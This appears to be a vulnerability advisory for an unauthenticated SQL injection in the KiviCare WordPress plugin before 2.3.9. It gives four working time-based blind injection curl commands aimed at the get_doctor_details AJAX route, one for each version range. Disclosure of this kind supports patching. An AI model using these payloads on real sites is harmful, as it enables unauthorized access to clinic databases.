KiviCare < 2.3.9 - Unauthenticated SQLi

2022-05-2300:00:00

cydave

104

kivicare

sql injection

unauthenticated

exploit

version 2.3.9

EPSS

0.04

Percentile

92.1%

JSON

The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users

With at least one doctor created via the plugin:

v < 2.3.4
curl 'https://example.com/wp-admin/admin-ajax.php?action=ajax_post&route_name=get_doctor_details&clinic_id%5bid%5d=(CASE+WHEN+(4=4)+THEN+SLEEP(5)+ELSE+5+END)' --data ''

v < 2.3.5
curl 'https://example.com/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"(CASE+WHEN+(4=4)+THEN+SLEEP(5)+ELSE+5+END)"%7D'

v < 2.3.6
curl 'https://example.com/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)"%7D'

v <= 2.3.8
curl 'http://example.com/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b'

EPSS

0.04

Percentile

92.1%

JSON

Related for WPEX-ID:53F493E9-273B-4349-8A59-F2207E8F8F30